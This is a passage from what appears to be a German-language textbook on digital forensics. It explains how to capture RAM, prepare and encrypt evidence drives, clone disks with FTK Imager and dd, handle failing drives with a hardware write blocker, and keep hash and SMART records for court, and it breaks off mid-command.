RAM-Speicher mit AVML sichern (Linux) Unter Linux können wir AVML von Microsoft verwenden. Dieses Tool können wir von https://github.com/microsoft/avml/releases als Binärdatei herunterladen. Eigentlich sollte das Tool auf den meisten Linux-Distributionen lauffähig sein, aber sollte dies einmal nicht der Fall sein, können Sie den Quellcode von GitHub laden und das Programm selber kompilieren. Danach brauchen Sie der Datei nur die entsprechenden Rechte mit chmod zuweisen und sie ausführen: mark@ubuntu:~$ chmod 755 avml mark@ubuntu:~$ sudo ./avml memory.img Hierzu brauchen wir natürlich root-Rechte. Dem Programm übergeben wir nur den Dateinamen bzw. den Pfad mit dem Dateinamen und wir erhalten einen RAW-Dump des volatilen Speichers. 28
RAM-Speicher von OS X Systemen sichern Für diese Aufgabe gibt es zwei Tools, die in Frage kommen: https://sumuri.com/software/recon-itr/ https://www.cellebrite.com/en/digital-collector/ Diese grafischen Tools sollten selbsterklärend sein. Daher verzichte ich aus Platzgründen darauf sie mit den entsprechenden Screenshots dazustellen... 29
RAM-Speicher von virtuellen Maschinen sichern Virtualisierung wird immer beliebter und daher werden wir als IT-Forensiker früher oder später darauf stoßen. Natürlich könnte man den RAM-Speicher wie bereits gezeigt einfach mit den entsprechenden Tools sichern aber virtuelle Maschinen haben virtuellen RAM und wenn wir diese Maschinen anhalten, dann wird er virtuelle RAM-Speicher auf die Festplatte des Host-Systems geschrieben damit die VM später den RAM-Inhalt wiederherstellen kann. Das liefert uns, je nachdem, welche Technologie zur Virtualisierung eingesetzt wird, einen perfekten RAM-Dump. 30
Tipps für die Beweissicherung Vergessen Sie nicht, die so gewonnenen Daten in der Dokumentation zu vermerken und auch die verwendeten Programme und deren Versionen. Außerdem müssen Sie mit einem geeigneten Tool einen Hash für diese Dateien errechnen und vermerken. Bedenken Sie auch, wenn Sie einen Hash in einer Textdatei speichern, kann dieser genau wie die Datei manipuliert werden. Darum mache ich zusätzlich ein Foto von der geöffneten Textdatei mit meiner Kamera. Ich nutze hierfür eine günstige Spiegelreflexkamera aus drei Gründen: 1. Diese Kamera erlaubt mir Aufnahmen im RAW-Format zu machen und der viel größere Sensor im Vergleich zu Point-and-Shoot Kameras bietet mehr Details. 2. Das RAW-Format bietet bei der Entwicklung viel mehr Spielraum und so kann man aus dunklen Ecken oft noch einiges an Details gewinnen. Außerdem erschwert es Bildmanipulationen. 3. Größere Sensoren rauschen deutlich weniger - das ist vor allem bei Innenaufnahmen hilfreich. Natürlich kann man mit dem entsprechenden Wissen sicherlich auch RAWDaten bearbeiten aber die ganzen RAW-Entwickler arbeiten anders und speichern Veränderungen nur in einem Protokoll, das bei der Umwandlung in JPG auf die Datei angewendet wird. Somit hat man immer ein unverändertes Originalbild für den Fall der Fälle. 31
Klonen von Datenträgern Kopieren wir Dateien von einem auf einen anderen Datenträger, dann erhalten wir lediglich die aktuell am System verfügbaren Daten. Abgesehen davon müssten wir darauf achten, dass das Programm mit dem wir die Daten kopieren auch die Zeitstempel sauber übernimmt und das Betriebssystem nicht auf Dinge wie zB Thumbnail-Datenbanken zugreift und diese zB aktualisiert. Wir haben also relativ viel, dass wir beachten müssen für eine lückenhafte Sicherung der Daten. Beim Klonen kopieren wir Byte für Byte den gesamten Speicher des Datenträgers (egal ob belegter oder freier Speicher) und erhalten damit ein vollständiges Abbild mit allen gelöschten Dateien oder zumindest Dateifragmenten davon. Hierbei können wir die Datenträger auf einen anderen Datenträger klonen oder in eine Datei. Ich bevorzuge Letzteres, da wir so in der Lage sind diese Datei direkt in einem Analysetool zu öffnen. Wir können beim Klonen eines Datenträgers bestimmen ob wir den gesamten Datenträger mit MBR (Master Boot Record), Partitionstabelle, etc. und allen Partitionen klonen wollen oder nur eine spezifische logische Partition. Ich persönlich würde immer die gesamte Platte klonen, außer es gäbe zB rechtliche Gründe, die dagegensprechen. In der Regel werden wir die Datenträger entnehmen und an einem unserer PCs klonen (Dead Imaging) aber sollte dies nicht möglich sein, ist es auch möglich einen Datenträger im laufenden Betrieb zu klonen (Live Imaging). 32
Vorbereiten der Ziel-Datenträger Auch wenn wir unser Image in eine Datei speichern, sollten wir dennoch unsere Datenträger vorbereiten und sicherstellen, dass alle vorher darauf befindlichen Daten sicher gelöscht wurden. Sollte mir die Frage gestellt werden, ob die Datenträger vor dem Einsatz von alten Daten bereinigt wurde, möchte ich nicht lange erklären müssen, warum dies nicht nötig ist in dem Fall und darauf hoffen, dass ein Richter diese Antwort auch richtig versteht, sondern ich erwidere lieber: "Sehen Sie sich bitte Anlage 12 meines Gutachtens an, dort sehen Sie, dass der Datenträger sicher gelöscht und der Löschvorgang erfolgreich verifiziert wurde". Das bringt uns gleich zum nächsten Punkt - es ist immer besser derartige Aussagen auch gleich belegen zu können. Sie können natürlich auch ein kostenloses Tool wie zB Eraser (https://sourceforge.net/projects/eraser/) verwenden und dann einen Screenshot erstellen oder sie nutzen zB den Drive eRazer Ultra von CRU (https://wiebetech.com/products/wiebetech_drive_erazer_ultra/). Dieses Tool gibt einen Löschbericht über die serielle Schnittstelle aus. Um diesem auf modernen Computern zu Empfangen gibt es ein seriell auf USBAdapterkabel und die passende Software von CRU. Abgesehen vom Bericht den Sie erhalten, belegen Sie so keinen Arbeitsplatz für Stunden mit den Löschvorgängen, können auch IDE-Platten löschen und das Gerät ist relativ günstig. Außer für die einzelnen forensischen Berichte sind die Löschberichte auch für Ihre Datenschutzdokumentation von Vorteil. 33
Verschlüsselung der Ziel-Datenträger Um Daten vor unbefugten Zugriff zu schützen, ist es eine gute Idee, die Laufwerke auf denen Beweismittel gesichert werden zu verschlüsseln. Hierzu können wir Bitlocker oder auch VeraCrypt verwenden. VeraCrypt gibt es nicht nur für Windows, sondern auch für Linux und Mac OS X. Sehen wir uns zuerst Bitlocker an: Mit einem Rechtsklick auf das Laufwerk im Explorer können wir Bitlocker aktivieren. Danach wird uns folgender Dialog angezeigt: 34
Geben Sie ein Passwort ein oder verwenden Sie eine Smartkarte. Ich würde vorschlagen, dass Sie den Wiederherstellungsschlüssel in eine Datei speichern oder ausdrucken. In der Regel brauchen Sie diesen nur, wenn Sie das Passwort vergessen. 35
Da wir dies in der Regel am Beginn einer Ermittlung machen und nicht irgendwann mittendrin oder am Ende und einen sicher gelöschten Datenträger nutzen brauchen wir nur den verwendeten Speicherplatz verschlüsseln. Das spart Zeit, denn je nach Größe des Laufwerks kann die Verschlüsselung des ganzen Datenträgers recht lange dauern! Ich nutze zur Sicherheit immer den Kompatiblen Modus, da ich für spezielle Aufgaben auch ein altes Windows 7 System nutze, dass alte Tools beheimatet die auch Windows 10 nicht mehr laufen. Im Bereich der Datenrettung nutze ich für einige Spezialfälle sogar noch ein altes System mit Windows XP auf dem ältere Tools laufen, die nur bis Windows XP einwandfrei funktionierten. Die Einrichtung von VeraCrypt ist ähnlich einfach. Nachdem Sie VeraCrypt von https://www.veracrypt.fr/en/Downloads.html heruntergeladen und installiert 36
haben, können Sie das Programm starten und auf "Volume erstellen" klicken: Hier wählen wir dann "Eine Partition / ein Laufwerk verschlüsseln" aus und klicken auf "weiter". Dann haben wir die Auswahl zwischen einem Standard- und einem versteckten Volumen. 37
Nachdem wir auf "Datenträger" geklickt haben, öffnet sich ein weiteres Fenster in dem wir den Datenträger auswählen können. Wenn wir die Auswahl mit "OK" bestätigt haben, kommen wir mit einem Klick auf "weiter" zu folgendem Fenster: Da die Platte ohnehin leer sein sollte, können wir "Verschlüsseln und Formatieren" wählen. 38
Dann können wir die Verschlüsselungsmethode auswählen. Wenn nichts anderes verlangt wird, würde ich den Standard mit AES und SHA-512 als HashAlgorithmus so übernehmen. Falls Sie eine verschlüsselte Containerdatei erstellen, können Sie nun die Dateibzw. Containergröße auswählen. 39
Dann werden wir aufgefordert ein Passwort festzulegen. Wie bei Bitlocker gilt auch hier - die Sicherheit steht und fällt bei der Verwendung eines Passwortes mit der Länge und Komplexität des Passwortes. Dann werden wir aufgefordert die Maus über dem Fenster zu bewegen und ein zufälliges Muster zu erstellen. Machen Sie dies, bis der Balken gefüllt ist und klicken Sie dann auf "weiter". 40
Das Formatieren dauert dann etwas und wenn dies abgeschlossen ist, können Sie den Dialog mit einem Klick auf "beenden" schließen. Was mir an VeraCrypt gar nicht gefällt ist der Umstand, dass uns Windows beim Einhängen eines Laufwerks auffordert den Datenträger zu formatieren. Ich arbeite alleine und biete neben IT-Forensik auch Datenrettung an. Daher wäre ich bei einer kleinen Unachtsamkeit immer in Gefahr einen Datenträger mit Beweisen mit einem frisch gelöschten Datenträger zu verwechseln und diesen zu formatieren. Theoretisch sollte man die Bereiche so trennen, dass so etwas verhindert wird aber praktisch rufen Kunden an, der Paketdienst bringt neue Datenträger zur Datenrettung und eilige Datenrettungen müssen zwischenzeitlich exportiert werden da in einigen Stunden der Paketdienst das Paket abholt und niemand nutzt dann 3 verschiedene Büros für sich alleine! So kann ich versehentlich einen Beweis-Datenträger anstatt eines leeren greifen und darum nutze ich Bitlocker, denn sollte ich eine falsche Platte nehmen um zB darauf eine Datenrettung zu exportieren, wird mich die Aufforderung zur Entschlüsselung von Bitlocker warnen, dass dies keine leere Platte ist. Und genau darum nutze ich VeraCrypt nicht. 41
Klonen der Datenträger Dieser Vorgang ist relativ langwierig vor allem wenn wir bedenken, dass wir heute selbst in einem normalen Haushalt einige Datenträger finden. Ein Laptop, ein Tablet, ein Telefon, 1, 2 oder 3 externe Festplatten und ein paar USB-Sticks und Speicherkarten und schon haben wir 4 - 10 TB zusammen. Bei Personen die wegen Cyberverbrechen verdächtigt werden kann man davon ausgehen, dass diese technikaffinen Menschen ein Vielfaches davon an Technik zu Hause haben. Kurz überschlagen würden bei einer Sicherstellung in meiner Wohnung mindestens 21 TB an Datenträgern zusammenkommen die zuerst mal vor einer Untersuchung zu klonen wären. Zum Klonen können wir Spezialisierte Hardware wie zB Ditto von CRU, Tableau TX1 oder die Produkte von Atola verwenden - allerdings sind diese mit fast 1.500 EUR bis zu 7.000 EUR nicht gerade günstig. Als Alternative können wir FTK Imager oder OSF Clone von Passmark nehmen. Beide Tools sind softwarebasiert und kostenlos. OSF Clone ist eine CLI-basiertes Live-System mit dem Sie einen Rechner booten können und so kann man einfach ein paar alte Laptops als Imaging-Systeme nutzen. Aber sehen wir uns zuerst FTK Imager an: Wählen Sie File -> Create Disk Image und Sie sehen folgenden Dialog: 42
In diesem Beispiel will ich eine per USB angeschlossene SD-Karte klonen, also wähle ich an dieser Stelle Physical Drive um ein Image der ganzen Karte zu erstellen. Im nächsten Schritt suche ich das passende Laufwerk aus und klicke dann auf Finish. Danach erscheint folgender Dialog: 43
Klicken Sie auf den Add-Button. Hier empfehle ich Ihnen AFF. Das Advanced Forensics Format ist schnell, beinhaltet diverse Metadaten zum Fall und bietet einige Vorteile wie performante Kompression, schnelleres Imaging und einiges mehr. Im unkomprimierten RAW-Format brauchen 500GB gut 4 Stunden im geklont zu werden und hierbei muss der Datenträger einwandfrei laufen. Lösungen für problematische Datenträger besprechen wir im Anschluss... Kommen wir zurück zu unserem Beispiel von Vorhin dann sind eventuell 20, 30, 40 oder gar 70% des Speicherplatzes einer Platte leer und wurden auch niemals Benutzt. Selbst bei mir werden sicherlich mindestens 8 - 9 TB unbenutzt sein und zumindest diesem Speicherplatz kann man sich sparen vor allem in Hinblick darauf, 44
dass wir die Daten nach dem Klonen nochmals sichern müssen spart man sich so eine Menge an Speicherplatz. Füllen Sie das Formular sorgfältig aus. Jeder Datenträger sollte beschriftet sein und eine Fall- und Beweisnummer haben. Beschreiben Sie was für ein Datenträger es ist und wer das Image erstellt hat. Ich würde Ihnen auch raten unter den Notizen die Seriennummer einzutragen. Legen Sie nun den Pfad für die Datei und den Dateinamen fest und klicken Sie auf Finnish um zum vorherigen Dialog zurückzukommen. Sie könnten an dieser Stelle auch die Verschlüsselung von AFF verwenden - ich bevorzuge es aber meine Festplatten zu verschlüsseln vor allem wenn mehrere Images auf einer Platte gespeichert werden. 45
Wenn Sie nun auf Start klicken, wird der Klonvorgang gestartet. Dies kann wie gesagt einige Zeit dauern daher nutze ich mehrere Rechner die dann mehrere Images zugleich erstellen. Wenn der Vorgang abgeschlossen ist, erscheint der Verifikations-Dialog in dem der Hash des Images mit dem Hash des Originaldatenträgers verglichen wird. Das ist unsere Bestätigung, dass die Daten nicht verändert wurden! 46
Außerdem wird noch eine Text-Datei mit folgendem Inhalt erstellt: Created By AccessData® FTK® Imager 4.2.0.13 Case Information: Acquired using: ADI4.2.0.13 Case Number: 2021-0001 Evidence Number: E2021-0001/A Unique description: 1GB SD card (Sandisk) Examiner: MB Notes: S/N: AR0602304058C -------------------------------------------------------------Information for F:\E2021_0001_A_Sandisk_1GB_SD: Physical Evidentiary Item (Source) Information: [Device Info] Source Type: Physical [Drive Geometry] Cylinders: 124 Tracks per Cylinder: 255 Sectors per Track: 63 Bytes per Sector: 512 Sector Count: 1.995.264 [Physical Drive Information] 47
Drive Model: Generic STORAGE DEVICE USB Device Drive Serial Number: 000000001532 Drive Interface Type: USB Removable drive: True Source data size: 974 MB Sector count: 1995264 [Computed Hashes] MD5 checksum: 4e1af9220fecb590c3e448c2140b9640 SHA1 checksum: 01e6ec1ece08bf09b914b95608dea0a8b6ae01d2 Image Information: Acquisition started: Sun May 16 22:18:37 2021 Acquisition finished: Sun May 16 22:20:36 2021 Segment list: F:\E2021_0001_A_Sandisk_1GB_SD.aff Image Verification Results: Verification started: Sun May 16 22:20:37 2021 Verification finished: Sun May 16 22:20:46 2021 MD5 checksum: 4e1af9220fecb590c3e448c2140b9640 : verified SHA1 checksum: 01e6ec1ece08bf09b914b95608dea0a8b6ae01d2 : verified Hier wird nochmal alles wichtige für den Bericht wiederholt von den Daten des Programms über unsere Angaben bis hin zu den Hash-Werten und der Verifikation. Bei USB-Kartenlesern ist es aber nicht möglich die Seriennummer der SD-Karte auszulesen und darum sind die Daten in den Fall vom Kartenleser und nicht der SD-Karte. Achten Sie auf solche Details und weisen Sie vorsorglich darauf hin bevor Sie 1,5 Jahre später unvorbereitet danach gefragt werden und dann in dieser stressigen Situation nicht den besten Eindruck hinterlassen. Als Sachverständiger sage ich Ihnen, dass Anwälte sich gern an solchen vermeintlichen Diskrepanzen festbeißen um Zweifel an Ihrer Arbeit, den verwendeten Tools und an Ihnen selbst zu schüren. Das ist auch nicht persönlich gemeint. Anwälte haben die Aufgabe ihren Mandanten bestmöglich zu vertreten und nicht fair oder unparteiisch zu sein! Wenn Sie vorab derartige Informationen als Hinweise ergänzen, können Sie einfach danach fragen auf welcher Seite diese "Diskrepanz" sein sollte und um eine Minute ersuchen um sich das kurz anzusehen. 48
Je besser Sie so etwas vorbereiten umso souveräner können Sie auftreten und umso besser "verkaufen" Sie sich und Ihre Arbeit. 49
Wenn der Klonprozess abbricht Es kann immer zu Problemen kommen, sei es ein Ausfall oder Aussetzer der Adapter, Writeblocker, des Betriebssystems oder des Datenträgers. In solchen Situationen gilt es Ruhe zu bewahren und methodisch zu arbeiten. Versuchen Sie zuerst ein anderes Kabel, einen anderen Writeblocker, einen anderen Adapter, einen anderen USB- oder SATA-Port und wenn alles nichts hilft können Sie auch den PC neu starten. Wenn Sie nun eine mögliche Ursache nach der Anderen ausgeschlossen haben und nur noch die Festplatte übrig bleibt kann ich ihnen Guardonix empfehlen. Informationen dazu finden Sie unter: https://guardonix.com/ Dieser Writeblocker ist mit ca. 500 USD gleich teuer wie andere Writeblocker, aber deutlich flexibler! DeepSpar ist als Hersteller von Spezialhardware zur Datenrettung bekannt und Guardonix ermöglicht es in der Pro-Variante das Verhalten im Fall von Lesefehlern zu steuern. Das Tool erlaubt es das Mounten von Festplatten in Windows zu deaktivieren denn manche instabilen Platten können Windows abstürzen lassen oder sorgen dafür, dass das System einfriert. Durch das Deaktivieren des Automounting verhindern wir das. Außerdem haben Sie die Option eine unstabile Platte zu zwingen mit USB 2.0 zu arbeiten. Das kann in manchen Fällen helfen, wenn die Platte alle Vorgänge langsamer ausführen kann. Guardonix kann inaktive USB-Platten und adaptierte 2,5" Platten (sofern diese über den USB-Port mit Strom versorgt werden) ausschalten, wenn Sie im Leerlauf sind. Eine angeschlagene Platte sollte keinesfalls unnötig weiterlaufen da Hintergrundprozesse der Firmware dann auf dem Datenträger arbeiten. Vor allem wenn eine Platte angeschlagen ist, sollte man diese niemals unbeaufsichtigt laufen lassen. Ein Ausfall des Schreib-/Lesekopfes kann binnen kürzester Zeit zu einer mechanischen Beschädigung der Magnetscheiben führen und wenn die Platte in diesem Zustand dann weiterläuft werden die Daten unwiederbringlich vernichtet. Wir können auch den PCB von der Festplatte entfernen und diesen allein an Guradonix anschließen um zu testen ob das Problem am PCB liegt oder an der Platte selber. Funktioniert der PCB, sollten wir in der Guardonix-Software einige 50
Informationen über die Festplatte sehen, die aus dem ROM-Chip ausgelesen wurden. Manche instabilen Platten brauchen lange um zu starten - ich habe Platten erlebt bei denen einige Minuten dauerte. Guradonix informiert ums mit Statusmeldungen darüber, dass die Platte erkannt wurde aber die Initialisierung noch nicht fertig ist. Für die Dokumentation und manche Untersuchung ist es ebenfalls praktisch, dass Guardonix in der Lage ist ein Protokoll mit allen nicht lesbaren Sektoren und mit den Sektoren auf die versucht wurde zu schreiben aufzuzeichnen. Damit können wir die Sektoren benennen von denen wir keine Daten erhalten haben oder prüfen auf welche Dateien ein bestimmtes Programm zugreift. Das wichtigste Feature ist in meinen Augen die Möglichkeit das Read-Timeout zu steuern. Damit können wir Leseversuche abbrechen, wenn diese zu lange dauern. Festplatten haben in der Firmware mehrere erneute Leseversuche hinterlegt und sollten diese alle Fehlschlagen, laufen diverse Hintergrundprozesse zur Dokumentation des Fehlers (zB Aktualisierung der S.M.A.R.T. Daten) und zur Fehlerbehebung (zB ausmappen des Sektors und eintragen in der G-List) ab. Wenn wir das Timeout entsprechend kurz setzen können wir den Großteil dieser Vorgänge abbrechen und mit dem nächsten Sektor weiter machen. Das spart nicht nur sehr viel Zeit, sondern schont die Platte. Unterstützt die Software mit der wir arbeiten das Imaging in mehreren Durchgängen können wir zuerst mit einem kurzen Timeout die Daten lesen die einfach zu lesen sind und dann in einem zweiten Durchgang die Lücken füllen und versuchen so die Ausbeute zu maximieren. Ein weiteres nützliches Feature ist, dass dieses Tool HPA (Host Protected Areas - also für den normalen User unzugängliche Bereiche auf der HDD) im RAM der Platte entfernen kann. So wird der Bereich wieder zugänglich ohne die Beweise zu vernichten. Wenn Guardonix nicht mehr hilft, dann sollte ein ausgebildeter Datenretter den Fall übernehmen. Sie könnten mit PC-3000, MRT oder DFL-SRP entsprechende Geräte anschaffen aber diese sind nicht nur viel teurer, sondern benötigen auch entsprechende Trainings. Außerdem bräuchten Sie dann noch Reinraum-Tools und einiges weitere. 51
Für einen IT-Forensiker, der Datenrettung nicht professionell anbietet, werden teurere und aufwendigere Tools kaum Sinn machen denn defekte Datenträger stellen eher die Ausnahme als die Regel dar und wenn es um professionelle Datenrettung geht, gibt es viele hochspezialisierte Tools für die verschiedensten Datenträger wie PC-3000 Flash oder Rusolut VNR für Speicherkarten und USBSticks, MRT Express oder Ultra und PC-3000 für HDDs und SSDs oder PC-3000 Mobile für Mobiltelefone. Zusammen mit entsprechenden Reinraum-Werkzeugen und einer Reinraumbox landen wir dann schnell bei einem Gesamtpreis in der Höhe eines Mittelklasse-PKW für ein voll ausgestattetes Datenrettungslabor. Kleinere Probleme bekommt man mit Guardonix aber sehr gut in den Griff. Sollten Sie sich für professionelle Datenrettung interessieren, kann ich Ihnen mein Buch "Basiswissen professionelle Datenrettung" (ISBN 978-3755759324) als Einführung in dieses Thema empfehlen. 52
Praxisbeispiel USB Stabilizer / Guardonix Um dieses Produkt zu testen habe ich eine instabile Festplatte aus unserem Datenrettungslabor versucht. Die forensische Version erlaubt es hierbei verschiedenste Einstellungen vorzunehmen: 1. Das bestimmen welche Events im Log vermerkt werden (Log Events). 2. Die professionellen Einstellungen, die wir uns im Folgenden genauer ansehen werden. Mit File System Mounting können wir bestimmen ob Windows den Datenträger mounten (einhängen) darf. Report Drive as Read-Only und Turn Off Drive if Inactive sollten selbsterklärend sein, wobei ich darauf hinweisen will, dass die meisten modernen Festplatten nach 20 Sekunden Inaktivität anfangen Ihre Hintergrundprozesse laufen zu lassen. Diese können dann markierte Sektoren ausmappen, etc. Beim Storage Device Type haben wir die Wahl zwischen HDDs und SSDs bzw. Flash-Speichern. Dies ist wichtig für die Strategie der Reset-Kommandos, die das Tool ausführt, wenn der Datenträger hängt. Mit dem Read Timeout stellen wir ein, wie lange auf Daten gewartet wird. Damit können wir auch indirekt den Stress-Level steuern und sinnvollerweise sollte man zuerst mit einer kurzen Timeout-Zeit die Daten klonen, die einfach zu lesen sind und erst in einem zweiten Durchgang die problematischen Bereiche klonen. Das setzt aber auch voraus, dass das verwendete Tool das Klonen in mehreren Durchgängen erlaubt. 53
Da ich kein forensisches Tool kenne das dies tut, würde ich hier UFS Explorer Pro oder DMDE empfehlen! Bad Block Read Retries und Response to Write Attempts sind wieder selbsterklä- rend. Beim Punkt Speed Optimization haben wie die Möglichkeit den Vorgang zu beschleunigen indem die Timings von Datenträger und dem USB-Port aufeinander abgestimmt werden. Nachdem ich den Klonvorgang gestartet hatte, sieht man im Sector Map Tab gut wie die Geschwindigkeit der HDD schwankt. Dies ist vor allem dem verschlissenen Kopf und einer großen Anzahl an defekten Sektoren zu verdanken. 54
Im Log Tab können wir sehen welche Sektoren nicht mit den aktuell getroffenen Einstellungen gelesen werden konnten. Dies wird auch in Sector Map Tab grafisch dargestellt. 55
Mit einem Klick auf den Commands-Button im Settings Tab erhalten wir folgende Optionen: Hier ist für uns vor allem das Erfassen der SMART Werte SMART Attributes) (Log wichtig. Der Punkt Reset DCO Hidden Area dient dazu um mittels Device configuration overlay abgetrennte Speicherberieche wieder in den für den User verfügbaren Speicherbereich einzugliedern. Hierbei wird allerdings der Datenträger verändert! Eine HPA (Host Protected Area) kann Guardonix direkt im RAM aufheben. Ist der Datenträger mit einem ATA Password geschützt, können wir durch Eingabe des Passwords den Datenträger entsperren (ATA Password Unlock). Zum Knacken derartiger Passwörter braucht es aber andere Tools. Sobald wir die SMART Daten geloggt haben, wird im Projektordner eine Datei namens SmartAttributes_1.bin angelegt. Diese enthält die Rohdaten und in der Logdatei, die im gleichen Ordner liegt, finden wir folgende Zeilen: [10:28:11] Project Folder: D:\DeepSpar USB Stabilizer\Projects\WDC_WD50_00LPCX75VHAT0_0000AB1234A3_WDC_WD5000LPCX-75VHAT0_WX41A754LTCF\27 May 2022 10-28-09\ [10:28:22] ------------- SMART Attributes ------------Attribute 1 (Read Error Rate): value=200, worst value=200, raw value=0 Attribute 3 (Spin-Up Time): value=152, worst value=143, raw value=1366 Attribute 4 (Start/Stop Count): value=100, worst value=100, raw value=620 Attribute 5 (Reallocated Sectors Count!): value=200, worst value=200, raw value=0 Attribute 7 (Seek Error Rate): value=200, worst value=200, raw value=0 Attribute 9 (Power-On Hours): value=99, worst value=99, raw value=1350 56
Attribute 10 (Spin Retry Count): value=100, worst value=100, raw value=0 Attribute 11 (Calibration Retry Count): value=100, worst value=100, raw value=0 Attribute 12 (Power Cycle Count): value=100, worst value=100, raw value=605 Attribute 191 (G-sense Error Rate): value=1, worst value=1, raw value=200 Attribute 192 (Power-off Retract Count): value=200, worst value=200, raw value=21 Attribute 193 (Load Cycle Count): value=194, worst value=194, raw value=19285 Attribute 194 (Temperature): value=119, worst value=92, raw value=24 Attribute 196 (Reallocation Event Count): value=200, worst value=200, raw value=0 Attribute 197 (Current Pending Sector Count!): value=200, worst value=200, raw value=0 Attribute 198 (Uncorrectable Sector Count!): value=100, worst value=253, raw value=0 Attribute 199 (UDMA CRC Error Count): value=200, worst value=200, raw value=0 Attribute 200 (Multi-Zone Error Rate): value=100, worst value=253, raw value=0 Attribute 240 (Head Flying Hours): value=99, worst value=99, raw value=1312 Attribute 241 (Total LBAs Written): value=200, worst value=200, raw value=10709951955 Attribute 242 (Total LBAs Read): value=200, worst value=200, raw value=12173224766 Attribute 254 (Free Fall Protection): value=200, worst value=200, raw value=0 NOTE: SMART Attributes saved to 'SmartAttributes_1.bin' project file. ------------------------------------------------------------- Hierzu habe ich nicht die zuvor gezeigte Seagate ST3500820AS verwendet, da ich bei dieser SMART und andere nicht essentiell nötige Prozesse in der Firmware deaktiviert hatte um den Klonvorgang stabiler zu gestalten. Ich muss an dieser Stelle ausdrücklich sagen, dass ich von dem Paket das man bekommt und vor allem den günstigen Preis sehr beeindruckt bin. Das Gerät kommt sehr gut auch mit sehr instabilen Datenträgern klar und hat bei meinem Test auch hervorragend mit einem behelfsmäßig reparierten USB-Stick gearbeitet, der unter Windows direkt mehrfach hängen blieb. Dies erreicht Guardonix dadurch, dass Windows und der verwendeten Software vorgegaukelt wird Guardonix sei der eigentliche Datenträger. Intern hält Guardonix aber zwei Verbindungen aufrecht – eine zu Windows und eine zum eigentlichen Datenträger. So bekommt der PC gar nicht mit, wenn ein Datenträger hängt und neu gestartet wird. Der USB Stabilizer ist das gleiche Produkt mit leicht veränderter Firmware. Diese erlaubt es mit anderen Tools wie MRT oder PC3000 zusammenzuarbeiten und mit Herstellerspezifischen Befehlen an den Datenträgern und der Firmware zu arbeiten. 57
Stolpersteine beim Klonen eines Datenträgers Der Inhalt einer Festplatte kann sich während der Hashberechnung verändern. Wenn wir eine Festplatte klonen, lesen wir jeden Sektor einmal. Normalerweise werden Tools die Hashberechnung gleichzeitig mit dem Klonprozess vornehmen um die Daten nicht doppelt lesen zu müssen. Festplatten haben Mechanismen um defekte Sektoren zu erkennen. Ein Sektor ist nicht nur 512 Byte bzw. 4096 Byte lang, sondern etwas länger. Die übrigen Daten werden von der Elektronik der Festplatte herausgefiltert. Diese Servo-Informationen und ein paar ECC-Daten sind dazu da die Position des Magnetkopfes auf dem Magnetscheiben zu ermitteln und Lesefehler bis zu einem gewissen Grad zu korrigieren. Wenn die Festplatte ein Problem hat einen Sektor zu lesen wird dieser zur Überprüfung vorgemerkt und die S.M.A.R.T. Werte werden entsprechend erhöht. Fällt diese Überprüfung erfolgreich aus dann können die S.M.A.R.T. Werte wieder verringert werden. Andernfalls wird der Sektor ausgemappt und ersetzt. Festplatten haben dazu zwei Listen in der Firmware: In der P-List (Productiontime list) sind die werksseitig defekten Sektoren vermerkt. Dann werden werksseitig die physischen Sekttoradressen ( PBA) auf logische Sektor-Adressen (LBA) gemappt, wobei defekte Sektoren einfach übersprungen werden. Festplatten haben etwas mehr Speicher als dem User zur Verfügung steht und ein Teil dieses Speichers wird dazu genutzt defekte Sektoren zu ersetzen. Fällt im laufenden Betrieb ein Sektor aus wird der zur Überprüfung markiert und wenn er diese nicht besteht, dann wir der Sektor ausgemappt und in der G-List (Growing defects list) vermerkt. 58
Wenn wir nun den Hash der beim Klonprozess errechnet wurde mit einer erneuten Hashberechnung vor der Analyse vergleichen, sagt das nur aus, dass das Image nicht verändert wurde. Es sagt aber nicht aus, dass das Image dem entspricht was vor Beginn des Klonvorganges auf der Festplatte war oder dem entspricht was nun auf der Festplatte ist - je nachdem ob wir das Ergebnis nach dem ausmappen eines Sektors klonen oder das ausmappen durch den Klonvorgang initialisieren. Dazu muss die Platte nachher ein wenig Zeit im Leerlauf sein denn diese Überprüfungen und das Ausmappen passieren im Leerlauf als Hintergrundprozess. Um derartige Veränderungen beim Klonen auszuschließen oder zumindest zu wissen, dass es diese gab, müsste man vor den Klonvorgang die S.M.A.R.T. Daten erfassen und mit den S.M.A.R.T. Daten nach dem Klonvorgang vergleichen. Hat sich zB die Anzahl der wiederzugewiesenen Sektoren verändert, wurden auch die Daten durch das Klonen verändert! Damit können wir nicht ausschließen das kurz vor dem Klonvorgang ein Sektor ausgemappt wurde, außer es gibt keine ausgemappten Sektoren, aber wir können behaupten mit allen zur Verfügung stehenden technischen Mitteln auf eine Veränderung geprüft zu haben. Außerdem können wir so auch erklären warum die Checksumme bei einem weiteren Forensiker nicht mehr stimmen kann. Anwälte lieben diese Ungereimtheiten und stürzen sich auf derartige Dinge denn viele verstehen 90% der Ausführungen eines IT-Forensikers ohnehin nicht und nutzen derartige Gelegenheiten die Aussagen in Zweifel zu ziehen. X-Ways und Atola erfassen dies, meinem Wissenstand nach, als einzige Tools au- tomatisch. Da dies interne Funktionen der Festplatten-Firmware sind, verhindert dies auch kein Writeblocker! 59
Live Imaging Auf einem Windows-PC können Sie FTK Imager verwenden um eine Platte im laufenden Betrieb zu klonen. Unter Linux- und Mac OS X können wir den Befehl dd verwenden. Sehen wir uns zuerst den Mac an - hierzu nutzen wir das Terminal: Marks-Mac-Pro:~ mark$ sudo diskutil list /dev/disk0 #: 0: 1: 2: 3: /dev/disk1 #: 0: 1: 2: /dev/disk2 #: 0: (internal, physical): TYPE GUID_partition_scheme EFI Apple_HFS Apple_Boot (internal, physical): TYPE GUID_partition_scheme EFI Apple_HFS (external, physical): TYPE NAME GB MB GB MB IDENTIFIER disk0 disk0s1 disk0s2 disk0s3 EFI UserDaten SIZE *1.0 TB 209.7 MB 999.9 GB IDENTIFIER disk1 disk1s1 disk1s2 NAME OSFCLONE SIZE *1.0 GB IDENTIFIER disk2 EFI ElCapitan Recovery HD NAME SIZE *120.0 209.7 119.2 650.0 Durch den oben gezeigten Befehl können Sie sich die ganzen Datenträger des Systems anzeigen lassen. Marks-Mac-Pro:~ mark$ sudo dd if=/dev/disk2 of=~/disk2.img dd: /dev/disk2: Resource busy Bei Wechseldatenträgern bekommen Sie die oben gezeigte Fehlermeldung. Dies will ich nur der Vollständigkeit halber erwähnen. Bei den Systemplatten sollte dies nicht vorkommen. Sollten Sie allerdings einen Mac zum Klonen verwenden wollen dann bekommen Sie das Problem wie folgt gelöst: Marks-Mac-Pro:~ mark$ diskutil unmountDisk /dev/disk2 Unmount 